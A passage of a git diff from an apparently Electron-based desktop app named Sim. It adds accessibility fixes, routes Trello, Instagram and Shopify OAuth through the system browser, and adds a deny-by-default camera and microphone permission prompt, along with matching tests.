   /** Constructor tracking for tests (the class itself is not a vi.fn mock). */
   static instances: BrowserWindow[] = []
   static lastOptions: Record<string, unknown> | undefined
+  readonly id = BrowserWindow.nextId++
   constructor(options?: Record<string, unknown>) {
     BrowserWindow.instances.push(this)
     BrowserWindow.lastOptions = options
diff --git a/apps/desktop/static/offline.html b/apps/desktop/static/offline.html
index 20d82e4bab9..47ae64e3533 100644
--- a/apps/desktop/static/offline.html
+++ b/apps/desktop/static/offline.html
@@ -126,6 +126,10 @@
           stroke 150ms cubic-bezier(0.4, 0, 0.2, 1);
         -webkit-app-region: no-drag;
       }
+      button:focus-visible {
+        outline: 2px solid var(--text-primary);
+        outline-offset: 2px;
+      }
       /* `button { display: inline-flex }` is an author rule, so it beats the UA
          stylesheet's `[hidden] { display: none }` no matter the specificity —
          without this the hidden status button renders anyway. */
@@ -195,9 +199,9 @@ <h1 id="title">Can’t connect to Sim</h1>
           Sim couldn’t reach the server. Check your internet connection, then try again.
         </p>
         <div class="actions">
-          <button class="primary" id="retry"><span class="label">Retry</span></button>
-          <button class="secondary" id="status" hidden><span class="label">Check status</span></button>
-          <button class="secondary" id="server"><span class="label">Change server</span></button>
+          <button type="button" class="primary" id="retry"><span class="label">Retry</span></button>
+          <button type="button" class="secondary" id="status" hidden><span class="label">Check status</span></button>
+          <button type="button" class="secondary" id="server"><span class="label">Change server</span></button>
         </div>
         <div id="detail" role="status"></div>
       </div>
diff --git a/apps/desktop/static/server.html b/apps/desktop/static/server.html
index ab39ce2e523..5334f995473 100644
--- a/apps/desktop/static/server.html
+++ b/apps/desktop/static/server.html
@@ -111,6 +111,11 @@
       input:focus {
         border-color: var(--border-strong);
       }
+      input:focus-visible,
+      button:focus-visible {
+        outline: 2px solid var(--text-primary);
+        outline-offset: 2px;
+      }
       input[aria-invalid='true'] {
         border-color: var(--error);
       }
@@ -183,11 +188,12 @@ <h1>Sim server</h1>
         autocapitalize="off"
         spellcheck="false"
         placeholder="https://sim.example.com"
+        aria-describedby="message"
       />
       <div id="message" role="status"></div>
       <div class="actions">
-        <button class="secondary" id="cancel">Cancel</button>
-        <button class="primary" id="connect" disabled>Connect</button>
+        <button type="button" class="secondary" id="cancel">Cancel</button>
+        <button type="button" class="primary" id="connect" disabled>Connect</button>
       </div>
     </main>
     <script>
diff --git a/apps/sim/app/desktop/connect/page.test.tsx b/apps/sim/app/desktop/connect/page.test.tsx
index d44f769d668..b984f1a2649 100644
--- a/apps/sim/app/desktop/connect/page.test.tsx
+++ b/apps/sim/app/desktop/connect/page.test.tsx
@@ -143,6 +143,29 @@ describe('DesktopConnectPage', () => {
     )
   })
 
+  it.each(['trello', 'instagram', 'shopify'])(
+    'starts %s through its dedicated authorize route in the system browser',
+    async (provider) => {
+      await expect(
+        DesktopConnectPage(
+          pageProps({
+            provider,
+            state: VALID_STATE,
+            port: PORT,
+            draftId: 'draft-1',
+          })
+        )
+      ).rejects.toThrow('NEXT_REDIRECT:')
+
+      const authorize = new URL(mockRedirect.mock.calls[0][0])
+      expect(authorize.pathname).toBe(`/api/auth/${provider}/authorize`)
+      expect(authorize.searchParams.get('draftId')).toBe('draft-1')
+      expect(authorize.searchParams.get('returnUrl')).toBe(
+        `https://sim.test/desktop/connect/complete?state=${VALID_STATE}&port=${PORT}`
+      )
+    }
+  )
+
   it('rejects a malformed request without reading the session', async () => {
     const invalid = [
       { provider: 'Google', state: VALID_STATE, port: PORT },
diff --git a/apps/sim/app/desktop/connect/page.tsx b/apps/sim/app/desktop/connect/page.tsx
index 9110d733599..e34f16989ba 100644
--- a/apps/sim/app/desktop/connect/page.tsx
+++ b/apps/sim/app/desktop/connect/page.tsx
@@ -130,6 +130,13 @@ export default async function DesktopConnectPage({ searchParams }: DesktopConnec
     redirect(authorize.toString())
   }
 
+  if (providerId === 'trello' || providerId === 'instagram' || providerId === 'shopify') {
+    const authorize = new URL(`/api/auth/${providerId}/authorize`, getBaseUrl())
+    authorize.searchParams.set('returnUrl', buildConnectCompleteUrl(state, port))
+    if (draftId) authorize.searchParams.set('draftId', draftId)
+    redirect(authorize.toString())
+  }
+
   return (
     <ConnectLauncher
       providerId={providerId}
diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.test.ts b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.test.ts
index 23b0947471c..20114279201 100644
--- a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.test.ts
+++ b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.test.ts
@@ -500,10 +500,11 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
 
   it('reuses a painted popover frame for a modal without revealing the native view between them', async () => {
     const fallback = vi.fn()
+    const onOwnershipLost = vi.fn()
     const hook = renderOcclusionHook()
 
     act(() => {
-      void hook.result().requestOverlay('resources', fallback)
+      void hook.result().requestOverlay('resources', fallback, onOwnershipLost)
     })
     await flushOcclusionLifecycle()
 
@@ -522,6 +523,7 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
     expect(setBrowserPanelOccluded).toHaveBeenCalledTimes(1)
     expect(hook.result().activeOverlay).toBeNull()
     expect(hook.result().snapshotLayer).toBe('modal')
+    expect(onOwnershipLost).toHaveBeenCalledOnce()
 
     await act(async () => {
       await hook.result().closeOverlay('resources')
@@ -540,12 +542,13 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
   it('replaces one popover with another without revealing or recapturing the native view', async () => {
     const firstFallback = vi.fn()
     const secondFallback = vi.fn()
+    const firstOwnershipLost = vi.fn()
     const hook = renderOcclusionHook()
     let firstRequest!: Promise<boolean>
     let secondRequest!: Promise<boolean>
 
     act(() => {
-      firstRequest = hook.result().requestOverlay('resources', firstFallback)
+      firstRequest = hook.result().requestOverlay('resources', firstFallback, firstOwnershipLost)
     })
     await flushOcclusionLifecycle()
     expect(await firstRequest).toBe(true)
@@ -560,6 +563,7 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
     expect(hook.result().activeOverlay).toBe('tab')
     expect(captureBrowserPanelSnapshot).toHaveBeenCalledOnce()
     expect(setBrowserPanelOccluded).toHaveBeenCalledTimes(1)
+    expect(firstOwnershipLost).toHaveBeenCalledOnce()
     expect(firstFallback).not.toHaveBeenCalled()
     expect(secondFallback).not.toHaveBeenCalled()
     hook.unmount()
diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.ts b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.ts
index 3f7acedff76..d7b5e8a20a5 100644
--- a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.ts
+++ b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-panel-occlusion.ts
@@ -30,6 +30,7 @@ export type BrowserPanelSnapshotLayer = 'modal' | 'popover'
 export type BrowserPanelOverlay =
   | 'credentials'
   | 'downloads'
+  | 'permissions'
   | 'resources'
   | 'suggestions'
   | 'tab'
@@ -37,7 +38,11 @@ export type BrowserPanelOverlay =
 
 export interface BrowserPanelOverlayController {
   /** True when the renderer overlay owns the painted frame; false when fallback handled it. */
-  requestOverlay: (overlay: BrowserPanelOverlay, fallback: () => void) => Promise<boolean>
+  requestOverlay: (
+    overlay: BrowserPanelOverlay,
+    fallback: () => void,
+    onOwnershipLost?: () => void
+  ) => Promise<boolean>
   closeOverlay: (overlay: BrowserPanelOverlay) => Promise<void>
 }
 
@@ -217,6 +222,7 @@ export function useBrowserPanelOcclusion(
   const [activeOverlay, setActiveOverlay] = useState<BrowserPanelOverlay | null>(null)
   const snapshotRenderRef = useRef<SnapshotRender | null>(null)
   const activeOverlayRef = useRef<BrowserPanelOverlay | null>(null)
+  const activeOverlayOwnershipLostRef = useRef<(() => void) | null>(null)
   const pendingOverlayRef = useRef<BrowserPanelOverlay | null>(null)
   const activeTabIdRef = useRef(activeTabId)
   const panelVisibleRef = useRef(panelVisible)
@@ -444,9 +450,12 @@ export function useBrowserPanelOcclusion(
   }, [cancelPendingPaint, reconcile])
 
   const clearBrowserOverlay = useCallback(() => {
+    const onOwnershipLost = activeOverlayOwnershipLostRef.current
     pendingOverlayRef.current = null
     activeOverlayRef.current = null
+    activeOverlayOwnershipLostRef.current = null
     if (mountedRef.current) setActiveOverlay(null)
+    onOwnershipLost?.()
   }, [])
 
   const prepareScreenOcclusion = useCallback((): Promise<boolean> => {
@@ -471,6 +480,7 @@ export function useBrowserPanelOcclusion(
       }
       if (activeOverlayRef.current === overlay) {
         activeOverlayRef.current = null
+        activeOverlayOwnershipLostRef.current = null
         setActiveOverlay(null)
       }
       if (pendingOverlayRef.current === overlay) pendingOverlayRef.current = null
@@ -480,7 +490,11 @@ export function useBrowserPanelOcclusion(
   )
 
   const requestOverlay = useCallback(
-    async (overlay: BrowserPanelOverlay, fallback: () => void): Promise<boolean> => {
+    async (
+      overlay: BrowserPanelOverlay,
+      fallback: () => void,
+      onOwnershipLost?: () => void
+    ): Promise<boolean> => {
       if (!panelVisibleRef.current || screenOcclusionPresentRef.current) return false
       if (activeOverlayRef.current === overlay) return true
       if (pendingOverlayRef.current === overlay) {
@@ -491,17 +505,15 @@ export function useBrowserPanelOcclusion(
       // A different renderer popover can replace the current one without
       // revealing the native page between them. Keeping a pending popover owns
       // the existing captured frame while the old controlled menu closes.
+      if (activeOverlayRef.current) clearBrowserOverlay()
       pendingOverlayRef.current = overlay
-      if (activeOverlayRef.current) {
-        activeOverlayRef.current = null
-        setActiveOverlay(null)
-      }
       const ready = await scheduleReconcile()
       if (!mountedRef.current || pendingOverlayRef.current !== overlay) return false
 
       if (ready && nativeHiddenRef.current && desiredLayer() === 'popover') {
         pendingOverlayRef.current = null
         activeOverlayRef.current = overlay
+        activeOverlayOwnershipLostRef.current = onOwnershipLost ?? null
         setActiveOverlay(overlay)
         return true
       }
@@ -511,7 +523,7 @@ export function useBrowserPanelOcclusion(
       fallback()
       return false
     },
-    [desiredLayer, scheduleReconcile]
+    [clearBrowserOverlay, desiredLayer, scheduleReconcile]
   )
 
   // The canonical modal pauses its first visible frame and dispatches this
@@ -592,6 +604,7 @@ export function useBrowserPanelOcclusion(
       screenOcclusionPresentRef.current = false
       pendingOverlayRef.current = null
       activeOverlayRef.current = null
+      activeOverlayOwnershipLostRef.current = null
       transitionVersionRef.current++
       cancelPendingPaint()
       // Run once now and once behind any in-flight capture/hide. The second
diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.test.ts b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.test.ts
index d1a3a767f24..642878d10ce 100644
--- a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.test.ts
+++ b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.test.ts
@@ -5,6 +5,7 @@ import { describe, expect, it, vi } from 'vitest'
 import {
   browserPanelSnapshotStyle,
   browserSelectionContext,
+  claimMediaPermissionResponse,
   clearOmniboxSelection,
   exceededOmniboxDragThreshold,
   hasConfirmedBrowserTabCreation,
@@ -16,6 +17,19 @@ import {
   shouldReportBrowserBounds,
 } from '@/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session'
 
+describe('claimMediaPermissionResponse', () => {
+  it('allows one response per request id across effect recreation', () => {
+    const handledRequestId = { current: null as string | null }
+
+    expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(true)
+    expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(false)
+    expect(claimMediaPermissionResponse(handledRequestId, 'request-2')).toBe(true)
+
+    handledRequestId.current = null
+    expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(true)
+  })
+})
+
 describe('browserPanelSnapshotStyle', () => {
   const snapshot = {
     dataUrl: 'data:image/png;base64,c2lt',
diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.tsx
index 67e9df2e6e1..07e14de4d4e 100644
--- a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.tsx
+++ b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session.tsx
@@ -195,6 +195,16 @@ export function clearOmniboxSelection(input: HTMLInputElement): void {
   input.setSelectionRange(caret, caret)
 }
 
+/** Claims the one renderer response allowed for a native media permission request. */
+export function claimMediaPermissionResponse(
+  handledRequestId: { current: string | null },
+  requestId: string
+): boolean {
+  if (handledRequestId.current === requestId) return false
+  handledRequestId.current = requestId
+  return true
+}
+
 /** Places the replacement on the native view's exact, unclipped viewport rectangle. */
 export function browserPanelSnapshotStyle(
   snapshot: BrowserPanelSnapshot,
@@ -385,6 +395,7 @@ export function BrowserSession({
   )
   const suspended = useBrowserSessionStore((state) => state.sessions[scopeId]?.suspended ?? false)
   const hasPageIssue = Boolean(pageState?.issue)
+  const mediaPermissionRequest = pageState?.mediaPermissionRequest
   const panelRef = useRef<HTMLDivElement>(null)
   const hostRef = useRef<HTMLDivElement>(null)
   // Lets the occlusion handshake reject a capture taken before a modal's
@@ -397,6 +408,7 @@ export function BrowserSession({
   const omniboxFocusRafRef = useRef<number | null>(null)
   const omniboxPointerSelectionRef = useRef<OmniboxPointerSelection | null>(null)
   const pendingNewTabFocusRef = useRef<PendingNewTabFocus | null>(null)
+  const handledMediaPermissionRequestIdRef = useRef<string | null>(null)
   const visibleRef = useRef(visible)
   visibleRef.current = visible
   const { removeResource } = useMothershipResources()
@@ -471,6 +483,69 @@ export function BrowserSession({
     onSnapshotError,
   } = useBrowserPanelOcclusion(scopeId, activeTabId, panelVisible, getHostRect)
 
+  useEffect(() => {
+    const request = mediaPermissionRequest
+    if (!request) {
+      handledMediaPermissionRequestIdRef.current = null
+      void closeOverlay('permissions')
+      return
+    }
+
+    let active = true
+    let decided = false
+    let toastId: string | null = null
+    const respond = (allowed: boolean) => {
+      if (decided) return
+      decided = true
+      if (!claimMediaPermissionResponse(handledMediaPermissionRequestIdRef, request.requestId))
+        return
+      sendBrowserPanelAction(
+        'respond-media-permission',
+        { requestId: request.requestId, allowed },
+        scopeId
+      )
+    }
+
+    const dismissPrompt = () => {
+      respond(false)
+      if (!toastId) return
+      const id = toastId
+      toastId = null
+      toast.dismiss(id)
+    }
+
+    if (!visible) {
+      respond(false)
+      void closeOverlay('permissions')
+      return
+    }
+
+    void requestOverlay('permissions', () => respond(false), dismissPrompt).then((ready) => {
+      if (!active) return
+      if (!ready) {
+        respond(false)
+        return
+      }
+      const origin = URL.canParse(request.origin) ? new URL(request.origin).host : request.origin
+      const devices = request.devices.join(' and ')
+      toastId = toast.info(`${origin} wants to use your ${devices}`, {
+        description: 'Access applies only to this page and ends when it navigates.',
+        action: { label: 'Allow', onClick: () => respond(true) },
+        onDismiss: () => {
+          if (!active) return
+          respond(false)
+          void closeOverlay('permissions')
+        },
+      })
+    })
+
+    return () => {
+      active = false
+      dismissPrompt()
+      void closeOverlay('permissions')
+    }
+  }, [closeOverlay, mediaPermissionRequest, requestOverlay, scopeId, visible])
+
   // The resource picker lives above this component in the panel tab bar. Give
   // that one external browser overlay access to the same capture/hide handshake
   // as the browser's own menus, without restoring a document-wide observer.
@@ -503,7 +578,11 @@ export function BrowserSession({
     () =>
       onBrowserToolbarCommand((command) => {
         if (command === 'import') {
-          navigateToSettings({ section: 'browser', browserView: 'passwords', browserImport: true })
+          navigateToSettings({
+            section: 'browser',
+            browserView: 'passwords',
+            browserImport: true,
+          })
           return
         }
         navigateToSettings({ section: 'browser' })
@@ -932,6 +1011,10 @@ export function BrowserSession({
   // Keep the page's exact captured frame underneath it while it is open so
   // pointer events reach the Sim popover instead of the WebContentsView.
   useEffect(() => {
+    if (mediaPermissionRequest) {
+      void closeOverlay('suggestions')
+      return
+    }
     if (hasPageIssue) {
       void closeOverlay('suggestions')
       return
@@ -941,7 +1024,7 @@ export function BrowserSession({
       return
     }
     void closeOverlay('suggestions')
-  }, [closeOverlay, hasPageIssue, requestOverlay, suggestions.length])
+  }, [closeOverlay, hasPageIssue, mediaPermissionRequest, requestOverlay, suggestions.length])
 
   const suggestionsOpen = hasPageIssue
     ? suggestions.length > 0
diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx
index 30268a09f3b..2a735f3c53a 100644
--- a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx
+++ b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx
@@ -667,8 +667,9 @@ const TerminalView = memo(function TerminalView({
     addMothershipContext(context)
   }, [selectionSnapshot, terminalId])
 
-  const pasteClipboard = useCallback(() => {
+  const pasteClipboard = () => {
     void (async () => {
+      reportTerminalFocused(true, scopeId)
       const result = await pasteIntoTerminal(terminalId, scopeId)
       if (result === true) {
         terminalRef.current?.focus()
@@ -682,7 +683,7 @@ const TerminalView = memo(function TerminalView({
       }
       toast.error('Could not paste from the clipboard. Press ⌘V to paste.')
     })()
-  }, [terminalId, scopeId])
+  }
 
   const newTab = useCallback(() => {
     void openTerminal(undefined, scopeId).catch(() => {
diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/user-input/user-input.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/user-input/user-input.tsx
index e551af55b77..13c23d419cf 100644
--- a/apps/sim/app/workspace/[workspaceId]/home/components/user-input/user-input.tsx
+++ b/apps/sim/app/workspace/[workspaceId]/home/components/user-input/user-input.tsx
@@ -512,13 +512,10 @@ const UserInputImpl = forwardRef<UserInputHandle, UserInputProps>(function UserI
     return () => window.cancelAnimationFrame(raf)
   }, [textareaRef])
 
-  const handleContainerClick = useCallback(
-    (e: React.MouseEvent<HTMLDivElement>) => {
-      if ((e.target as HTMLElement).closest('button, [role="dialog"]')) return
-      textareaRef.current?.focus()
-    },
-    [textareaRef]
-  )
+  const handleContainerClick = (e: React.MouseEvent<HTMLDivElement>) => {
+    if ((e.target as HTMLElement).closest('button, [role="dialog"]')) return
+    textareaRef.current?.focus()
+  }
 
   const handleSubmit = useCallback(() => {
     const currentFiles = filesRef.current
diff --git a/apps/sim/hooks/queries/oauth/oauth-connections.test.tsx b/apps/sim/hooks/queries/oauth/oauth-connections.test.tsx
new file mode 100644
index 00000000000..289033ea53b
--- /dev/null
+++ b/apps/sim/hooks/queries/oauth/oauth-connections.test.tsx
@@ -0,0 +1,71 @@
+/**
+ * @vitest-environment jsdom
+ */
+import { act, type ReactNode } from 'react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { createRoot } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const { beginOAuthConnect, oauthLink } = vi.hoisted(() => ({
+  beginOAuthConnect: vi.fn(),
+  oauthLink: vi.fn(),
+}))
+
+vi.mock('@/lib/api/client/request', () => ({ requestJson: vi.fn() }))
+vi.mock('@/lib/auth/auth-client', () => ({ client: { oauth2: { link: oauthLink } } }))
+vi.mock('@/lib/desktop', () => ({
+  getDesktopBridge: () => ({ beginOAuthConnect }),
+}))
+vi.mock('@/lib/oauth', () => ({ OAUTH_PROVIDERS: {} }))
+
+import { useConnectOAuthService } from '@/hooks/queries/oauth/oauth-connections'
+
+describe('useConnectOAuthService', () => {
+  let unmount = () => {}
+
+  beforeEach(() => {
+    vi.clearAllMocks()
+    beginOAuthConnect.mockResolvedValue(true)
+    ;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+  })
+
+  afterEach(() => unmount())
+
+  it.each(['trello', 'instagram', 'shopify'])(
+    'hands %s to the desktop bridge before provider-specific web routing',
+    async (providerId) => {
+      const queryClient = new QueryClient({
+        defaultOptions: { mutations: { retry: false }, queries: { retry: false } },
+      })
+      const container = document.createElement('div')
+      const root = createRoot(container)
+      let connect: ReturnType<typeof useConnectOAuthService> | undefined
+      function Probe() {
+        connect = useConnectOAuthService()
+        return null
+      }
+      function Wrapper({ children }: { children: ReactNode }) {
+        return <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+      }
+      act(() =>
+        root.render(
+          <Wrapper>
+            <Probe />
+          </Wrapper>
+        )
+      )
+      unmount = () => act(() => root.unmount())
+
+      await act(async () => {
+        await connect?.mutateAsync({
+          providerId,
+          callbackURL: 'https://sim.test/oauth/credential-connected',
+          draftId: 'draft-1',
+        })
+      })
+
+      expect(beginOAuthConnect).toHaveBeenCalledWith(providerId, { draftId: 'draft-1' })
+      expect(oauthLink).not.toHaveBeenCalled()
+    }
+  )
+})
diff --git a/apps/sim/hooks/queries/oauth/oauth-connections.ts b/apps/sim/hooks/queries/oauth/oauth-connections.ts
index 119f71f83fd..6b2bd937bd4 100644
--- a/apps/sim/hooks/queries/oauth/oauth-connections.ts
+++ b/apps/sim/hooks/queries/oauth/oauth-connections.ts
@@ -151,6 +151,22 @@ export function useConnectOAuthService() {
 
   return useMutation({
     mutationFn: async ({ providerId, callbackURL, draftId }: ConnectServiceParams) => {
+      /**
+       * Desktop keeps the entire provider flow in the system browser so the
+       * authorization route's state cookies and callback use one cookie jar.
+       */
+      const desktopBridge = getDesktopBridge()
+      if (desktopBridge?.beginOAuthConnect) {
+        const opened = await desktopBridge.beginOAuthConnect(
+          providerId,
+          draftId ? { draftId } : undefined
+        )
+        if (!opened) {
+          throw new Error('Could not open your browser to connect this account.')
+        }
+        return { success: true }
+      }
+
       if (providerId === 'trello') {
         const returnUrl = encodeURIComponent(callbackURL)
         const draftQuery = draftId ? `&draftId=${encodeURIComponent(draftId)}` : ''
@@ -172,24 +188,6 @@ export function useConnectOAuthService() {
         return { success: true }
       }
 
-      // Desktop app: OAuth cannot run in the embedded window (Google/Microsoft
-      // block embedded user agents, and better-auth binds the flow's state to
-      // the initiating browser's cookies), so the whole flow is handed to the
-      // system browser and returns via the app's loopback. Completion arrives
-      // through onOAuthConnectComplete (see useDesktopOAuthConnectListener),
-      // which refreshes caches and shows the connected toast.
-      const desktopBridge = getDesktopBridge()
-      if (desktopBridge?.beginOAuthConnect) {
-        const opened = await desktopBridge.beginOAuthConnect(
-          providerId,
-          draftId ? { draftId } : undefined
-        )
-        if (!opened) {
-          throw new Error('Could not open your browser to connect this account.')
-        }
-        return { success: true }
-      }
-
       const stateCallbackUrl = new URL(callbackURL)
       if (draftId) {
         stateCallbackUrl.searchParams.set(OAUTH_CREDENTIAL_DRAFT_CALLBACK_PARAM, draftId)
diff --git a/apps/sim/lib/browser-agent/transport.test.ts b/apps/sim/lib/browser-agent/transport.test.ts
index b264fc674c2..76f80023fed 100644
--- a/apps/sim/lib/browser-agent/transport.test.ts
+++ b/apps/sim/lib/browser-agent/transport.test.ts
@@ -473,6 +473,22 @@ describe('browser panel transport', () => {
     await expect(execution).rejects.toThrow('cancelled')
   })
 
+  it('clears the response watchdog when a browser tool settles early', async () => {
+    vi.useFakeTimers()
+    try {
+      executeTool.mockResolvedValue({ ok: true, result: { done: true } })
+      const timersBefore = vi.getTimerCount()
+
+      await expect(
+        executeBrowserTool('tool-fast', 'browser_snapshot', {}, 30_000, 'chat-fast')
+      ).resolves.toEqual({ done: true })
+
+      expect(vi.getTimerCount()).toBe(timersBefore)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
   it('starts the native scope boundary without waiting for exact cancellation', async () => {
     let settleNative: (response: { ok: boolean; error?: string }) => void = () => {}
     let settleExactCancellation: (cancelled: boolean) => void = () => {}
diff --git a/apps/sim/lib/browser-agent/transport.ts b/apps/sim/lib/browser-agent/transport.ts
index 46aa80f1e2f..39d78892cc8 100644
--- a/apps/sim/lib/browser-agent/transport.ts
+++ b/apps/sim/lib/browser-agent/transport.ts
@@ -186,6 +186,7 @@ export async function executeBrowserTool(
   }
   const activeTool = { toolCallId, tool, scopeId, onCancel }
   activeBrowserTools.set(toolCallId, activeTool)
+  let timeoutId: ReturnType<typeof setTimeout> | undefined
   try {
     const invocation = agent.executeTool(toolCallId, tool, params, scopeId)
     const response =
@@ -194,7 +195,7 @@ export async function executeBrowserTool(
         : await Promise.race([
             invocation,
             new Promise<never>((_, reject) => {
-              setTimeout(
+              timeoutId = setTimeout(
                 () => reject(new Error(`The browser did not respond within ${timeoutMs}ms`)),
                 timeoutMs
               )
@@ -205,6 +206,7 @@ export async function executeBrowserTool(
     }
     return response.result
   } finally {
+    clearTimeout(timeoutId)
     if (activeBrowserTools.get(toolCallId) === activeTool) {
       activeBrowserTools.delete(toolCallId)
     }
diff --git a/apps/sim/stores/browser-session/store.test.ts b/apps/sim/stores/browser-session/store.test.ts
index 11160bda34c..b76387be92e 100644
--- a/apps/sim/stores/browser-session/store.test.ts
+++ b/apps/sim/stores/browser-session/store.test.ts
@@ -101,6 +101,66 @@ describe('browser session store', () => {
     })
   })
 
+  it('retains and clears the exact pending media request from native page state', () => {
+    const store = useBrowserSessionStore.getState()
+    const page = {
+      tabId: '1',
+      scopeId: 'chat-test',
+      title: 'Meeting',
+      url: 'https://meet.example.com',
+      loading: false,
+      canGoBack: false,
+      canGoForward: false,
+    }
+    store.setPageState({
+      ...page,
+      mediaPermissionRequest: {
+        requestId: 'request-1',
+        origin: 'https://meet.example.com',
+        devices: ['microphone', 'camera'],
+      },
+    })
+
+    expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toEqual({
+      requestId: 'request-1',
+      origin: 'https://meet.example.com',
+      devices: ['microphone', 'camera'],
+    })
+
+    store.setPageState(page)
+    expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toBeUndefined()
+  })
+
+  it('retains pending media request identity across unrelated page-state updates', () => {
+    const store = useBrowserSessionStore.getState()
+    const request = {
+      requestId: 'request-1',
+      origin: 'https://meet.example.com',
+      devices: ['microphone', 'camera'] as const,
+    }
+    const page = {
+      tabId: '1',
+      scopeId: 'chat-test',
+      title: 'Meeting',
+      url: 'https://meet.example.com',
+      loading: false,
+      canGoBack: false,
+      canGoForward: false,
+      mediaPermissionRequest: request,
+    }
+    store.setPageState(page)
+    const retained = getBrowserSession('chat-test').pageState?.mediaPermissionRequest
+
+    store.setPageState({
+      ...page,
+      title: 'Meeting in progress',
+      canGoBack: true,
+      mediaPermissionRequest: { ...request, devices: [...request.devices] },
+    })
+
+    expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toBe(retained)
+  })
+
   it('reorders tabs optimistically without changing the active page', () => {
     const store = useBrowserSessionStore.getState()
     store.setTabsState({
diff --git a/apps/sim/stores/browser-session/store.ts b/apps/sim/stores/browser-session/store.ts
index a866e2c7e73..cfbec3f0084 100644
--- a/apps/sim/stores/browser-session/store.ts
+++ b/apps/sim/stores/browser-session/store.ts
@@ -1,4 +1,5 @@
 import type {
+  BrowserMediaPermissionRequest,
   BrowserPageIssue,
   BrowserPageState,
   BrowserTabState,
@@ -93,6 +94,28 @@ function pageIssueEqual(a: BrowserPageIssue | undefined, b: BrowserPageIssue | u
   return true
 }
 
+function mediaPermissionRequestEqual(
+  a: BrowserMediaPermissionRequest | undefined,
+  b: BrowserMediaPermissionRequest | undefined
+): boolean {
+  if (a === b) return true
+  return Boolean(
+    a &&
+      b &&
+      a.requestId === b.requestId &&
+      a.origin === b.origin &&
+      a.devices.length === b.devices.length &&
+      a.devices.every((device, index) => device === b.devices[index])
+  )
+}
+
+function retainMediaPermissionRequest(
+  current: BrowserMediaPermissionRequest | undefined,
+  incoming: BrowserMediaPermissionRequest | undefined
+): BrowserMediaPermissionRequest | undefined {
+  return mediaPermissionRequestEqual(current, incoming) ? current : incoming
+}
+
 function tabFieldsEqual(a: BrowserTabState, b: BrowserTabState): boolean {
   return (
     a.tabId === b.tabId &&
@@ -147,7 +170,8 @@ function pageStateEqual(a: BrowserPageState | null, b: BrowserPageState | null):
     a.loading === b.loading &&
     a.canGoBack === b.canGoBack &&
     a.canGoForward === b.canGoForward &&
-    pageIssueEqual(a.issue, b.issue)
+    pageIssueEqual(a.issue, b.issue) &&
+    mediaPermissionRequestEqual(a.mediaPermissionRequest, b.mediaPermissionRequest)
   )
 }
 
@@ -208,15 +232,22 @@ export const useBrowserSessionStore = create<BrowserSessionState>()(
           const { scopeId } = pageState
           return withSession(state, scopeId, (current) => {
             if (current.suspended) return current
+            const nextPageState = {
+              ...pageState,
+              mediaPermissionRequest: retainMediaPermissionRequest(
+                current.pageState?.mediaPermissionRequest,
+                pageState.mediaPermissionRequest
+              ),
+            }
             const nextTabs = current.tabs.map((tab) =>
-              tab.tabId === pageState.tabId
+              tab.tabId === nextPageState.tabId
                 ? {
                     ...tab,
-                    url: pageState.url,
-                    title: pageState.title,
-                    loading: pageState.loading,
+                    url: nextPageState.url,
+                    title: nextPageState.title,
+                    loading: nextPageState.loading,
                     active: true,
-                    issue: pageState.issue,
+                    issue: nextPageState.issue,
                   }
                 : tab.active
                   ? { ...tab, active: false }
@@ -225,17 +256,17 @@ export const useBrowserSessionStore = create<BrowserSessionState>()(
             const tabs = tabsEqual(current.tabs, nextTabs) ? current.tabs : nextTabs
             if (
